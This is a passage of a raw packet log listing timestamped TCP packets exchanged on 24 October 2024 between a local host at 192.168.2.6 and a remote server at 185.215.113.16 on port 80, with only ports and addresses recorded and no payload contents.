Oct 24, 2024 18:09:14.165846109 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.165868044 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.168622017 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.168661118 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.168711901 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.168745041 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.168778896 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.168797970 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.168797970 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.168797970 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.168797970 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.168812990 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.168865919 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.168873072 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.168873072 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.168901920 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.168934107 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.168939114 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.168939114 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.168968916 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.168999910 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.169018984 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.169030905 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.169051886 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.169068098 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.169092894 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.169327974 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.169446945 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.169480085 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.169485092 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.169514894 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.169548988 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.169549942 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.169550896 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.169578075 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.169584036 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.169599056 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.169630051 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.169635057 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.169672012 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.169687986 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.169702053 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.169733047 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.169734001 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.169754028 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.169770956 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.169785976 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.169814110 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.169840097 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.169861078 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.170335054 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.170386076 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.170391083 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.170419931 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.170439959 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.170469999 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.170470953 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.170505047 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.170526028 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.170538902 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.170546055 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.170567989 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.170584917 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.170608044 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.170623064 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.170674086 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.170675039 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.170706987 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.170725107 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.170754910 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.170757055 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.170790911 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.170810938 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.170824051 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.170831919 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.170856953 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.170874119 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.170898914 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.170912027 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.170962095 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.170967102 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.170995951 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.171022892 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.171029091 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.171044111 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.171066999 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.171077013 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.171098948 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.171118975 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.171140909 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.171149015 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.171181917 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.171202898 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.171216011 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.171233892 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.171267033 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.171276093 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.171335936 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.171344042 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.171370983 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.171382904 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.171405077 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.171408892 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.171439886 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.171452045 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.171494007 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.214735985 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.214771032 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.214816093 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.214962006 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.214965105 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.214966059 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.214966059 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.214994907 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.215049028 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.215049982 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.215049028 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.215081930 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.215100050 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.215116024 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.215141058 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.215146065 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.215162992 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.215195894 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.215209961 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.215233088 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.215266943 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.215281963 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.215287924 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.215331078 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.215348959 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.215390921 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.215392113 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.215440989 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.215442896 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.215473890 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.215506077 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.215507030 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.215538025 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.215544939 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.215544939 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.215572119 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.215584993 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.215607882 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.215617895 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.215641975 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.215648890 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.215675116 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.215684891 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.215708017 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.215717077 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.215735912 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.215755939 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.215768099 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.215783119 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.215801001 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.215828896 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.215851068 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.242142916 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.242176056 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.242211103 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.242326975 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.242326975 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.242327929 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.242355108 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.242388010 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.242404938 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.242430925 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.242439032 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.242479086 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.242511034 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.242528915 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.242546082 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.242564917 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.242587090 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.242598057 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.242605925 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.242646933 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.242647886 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.242697954 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.242697954 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.242732048 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.242763996 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.242779016 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.242779016 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.242813110 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.242815018 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.242845058 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.242861032 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.242878914 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.242892027 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.242927074 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.242944956 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.242994070 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.242997885 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.243043900 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.243045092 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.243077993 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.243097067 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.243119001 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.243124962 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.243155003 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.243170977 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.243191004 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.243216991 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.243225098 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.243240118 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.243258953 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.243278027 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.243292093 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.243299007 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.243336916 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.243343115 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.243371010 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.243387938 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.243403912 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.243416071 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.243437052 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.243460894 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.243480921 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.243488073 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.243520021 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.243540049 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.243554115 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.243566036 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.243582010 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.243601084 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.243613958 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.243621111 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.243647099 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.243664980 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.243679047 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.243691921 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.243712902 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.243727922 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.243745089 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.243767023 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.243777990 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.243784904 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.243822098 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.284281969 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.284317017 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.284351110 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.284375906 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.284377098 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.284444094 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.284470081 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.284518003 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.284549952 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.284578085 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.284610987 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.284642935 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.284674883 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.284679890 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.284681082 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.284681082 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.284681082 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.284681082 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.284681082 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.284709930 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.284745932 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.284765959 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.284765959 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.284794092 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.284795046 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.284827948 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.284852028 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.284861088 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.284873962 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.284909964 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.288108110 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.288291931 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.288328886 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.288363934 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.288397074 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.288403988 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.288428068 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.288403988 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.288475037 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.288475037 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.288476944 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.288510084 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.288523912 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.288551092 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.288561106 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.288609982 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.288619995 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.288644075 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.288666010 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.288676977 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.288708925 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.288726091 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.288726091 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.288752079 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.288755894 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.288789988 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.288809061 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.288822889 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.288830996 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.288855076 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.288872957 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.288891077 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.288913965 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.288923979 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.288934946 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.288974047 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.288978100 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.289026976 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.289031982 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.289060116 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.289082050 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.289088964 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.289113045 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.289122105 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.289134026 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.289155960 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.289175987 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.289211035 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.289699078 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.289751053 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.289752960 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.289783955 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.289803982 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.289834023 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.289846897 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.289868116 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.289887905 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.289901018 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.289923906 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.289932013 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.289947033 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.289982080 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.289983034 CEST	49994	80	192.168.2.6	185.215.113.16
